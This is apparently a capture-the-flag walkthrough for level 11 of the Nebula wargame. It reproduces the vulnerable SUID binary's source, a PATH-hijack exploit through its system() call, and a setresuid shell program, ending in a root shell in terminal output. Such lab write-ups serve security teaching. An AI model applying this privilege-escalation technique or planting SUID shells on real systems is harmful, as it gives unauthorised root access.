The /home/flag11/flag11 binary processes standard input and executes a shell command.
There are two ways of completing this level, you may wish to do both :-)

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for
 * it. 
 */
int getrand(char **path)
{
 char *tmp;
 int pid;
 int fd;
 srandom(time(NULL));
 tmp = getenv("TEMP");
 pid = getpid();
 asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
   'A' + (random() % 26), '0' + (random() % 10),
   'a' + (random() % 26), 'A' + (random() % 26),
   '0' + (random() % 10), 'a' + (random() % 26));
 fd = open(*path, O_CREAT|O_RDWR, 0600);
 unlink(*path);
 return fd;
}
void process(char *buffer, int length)
{
 unsigned int key;
 int i;
 key = length & 0xff;
 for(i = 0; i < length; i++) {
   buffer[i] ^= key;
   key -= buffer[i];
 }
 system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
 char line[256];
 char buf[1024];
 char *mem;
 int length;
 int fd;
 char *path;
 if(fgets(line, sizeof(line), stdin) == NULL) {
   errx(1, "reading from stdin");
 }
 if(strncmp(line, CL, strlen(CL)) != 0) {
   errx(1, "invalid header");
 }
 length = atoi(line + strlen(CL));
 if(length < sizeof(buf)) {
   if(fread(buf, length, 1, stdin) != length) {
     err(1, "fread length");
   }
   process(buf, length);
 } else {
   int blue = length;
   int pink;
   fd = getrand(&path);
   while(blue > 0) {
     printf("blue = %d, length = %d, ", blue, length);
     pink = fread(buf, 1, sizeof(buf), stdin);
     printf("pink = %d\n", pink);
     if(pink <= 0) {
       err(1, "fread fail(blue = %d, length = %d)", blue, length);
     }
     write(fd, buf, pink);
     blue -= pink;
   }   
   mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
   if(mem == MAP_FAILED) {
     err(1, "mmap");
   }
   process(mem, length);
 }
}

Fixing the binary

Alright, first thing first - this level is broken. Let's admit it - Nebula is a pretty old project, and it seems abandoned now. Anyhow, challenges themselves are quite nice, they are twisted in a way that forces you to think as an attacker. In my opinion, this is a priceless opportunity for sharpening vulnerability research skills.

It took so much more time to fix the issue itself than to exploit the actual vulnerability...

Let's get down to business, we have to fix our application before trying to exploit it. Apparently, the source code above is valid, but the actual binary in the VM is not, as it keeps dropping your privileges at the later stage of the exploitation.

Log in to the nebula machine over ssh:

ssh nebula@<ip>

According to the documentation, the password for it is nebula. Switch to the rootuser with sudo -s command with the same password. Navigate to the /home/flag11/folder and create the fix.c file there with your favorite text editor.

Compile the fix file with the following command:

gcc -o flag11 fix.c

Don't forget the SUID bit: chmod u+s flag11

Now we're ready to roll!

Getting the flag

Let's figure out the flow of the binary first:

level11@nebula:~$ /home/flag11/flag11
AAAA
flag11: invalid header
level11@nebula:/~$ /home/flag11/flag11
Content-Length: 4
AAAA
flag11: fread length: Success

The binary accepts stdin as a source of input, and we have to specify the Content-Length. That's the way of process() getting to the system().

Let's check the man for fread():

The function fread() reads nmemb elements of data, each size bytes
long, from the stream pointed to by stream, storing them at the loca‐
tion given by ptr.
fread() and fwrite() return the number of items successfully read or
written (i.e., not the number of characters).

We have to get to the process(), so need to set Content-Lenght to 1:

level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11 
sh: $'mP\215': command not found

We're "piping" our input to the binary as it's reading data from stdin.

To exploit it, we will use a simple C program:

level11@nebula:~$ cat /home/level11/shell.c 
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(){
    gid_t gid = getegid();
    uid_t uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/bin/bash");

return 0;
}

We will compile it with the following bash script:

level11@nebula:~$ cat /home/level11/compiler.sh 
#!/bin/sh
gcc -o /home/level11/shell /home/level11/shell.c
chmod 4755 /home/level11/shell

To make it work, we will create the symbolic link:

ln -s /home/level11/compiler.sh /tmp/m

We also require exporting PATH:

export PATH=/tmp/:$PATH

Let's create some mess:

level11@nebula:~$ ls
compiler.sh SUID.c
level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11 
sh: -c: line 0: unexpected EOF while looking for matching ``'
sh: -c: line 1: syntax error: unexpected end of file
level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11 
sh: $'m\200\226': command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11 
level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11 
sh: $'m\220\250': command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11 
sh: $'m\220\252': command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nl" | /home/flag11/flag11 
sh: m@f: command not found
level11@nebula:~$ ls -lah
total 25K
drwxr-x--- 1 level11 level11 140 2021-11-11 11:53 .
drwxr-xr-x 1 root  root   100 2012-08-27 07:18 ..
-rw------- 1 level11 level11 152 2021-11-11 11:42 .bash_history
-rw-r--r-- 1 level11 level11 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 level11 level11 3.3K 2011-05-18 02:54 .bashrc
drwx------ 2 level11 level11  60 2021-11-11 09:57 .cache
-rwxrwxr-x 1 level11 level11  90 2021-11-11 11:47 compiler.sh
-rw-r--r-- 1 level11 level11 675 2011-05-18 02:54 .profile
-rwsr-xr-x 1 root  level11 7.2K 2021-11-11 11:53 shell
-rw-rw-r-- 1 level11 level11 256 2021-11-11 10:41 SUID.c

We successfully compiled our shell! It has SUID bit that we can use:

level11@nebula:~$ ./shell
root@nebula:~# whoami
root
root@nebula:~# id
uid=0(root) gid=1012(level11) groups=0(root),1012(level11)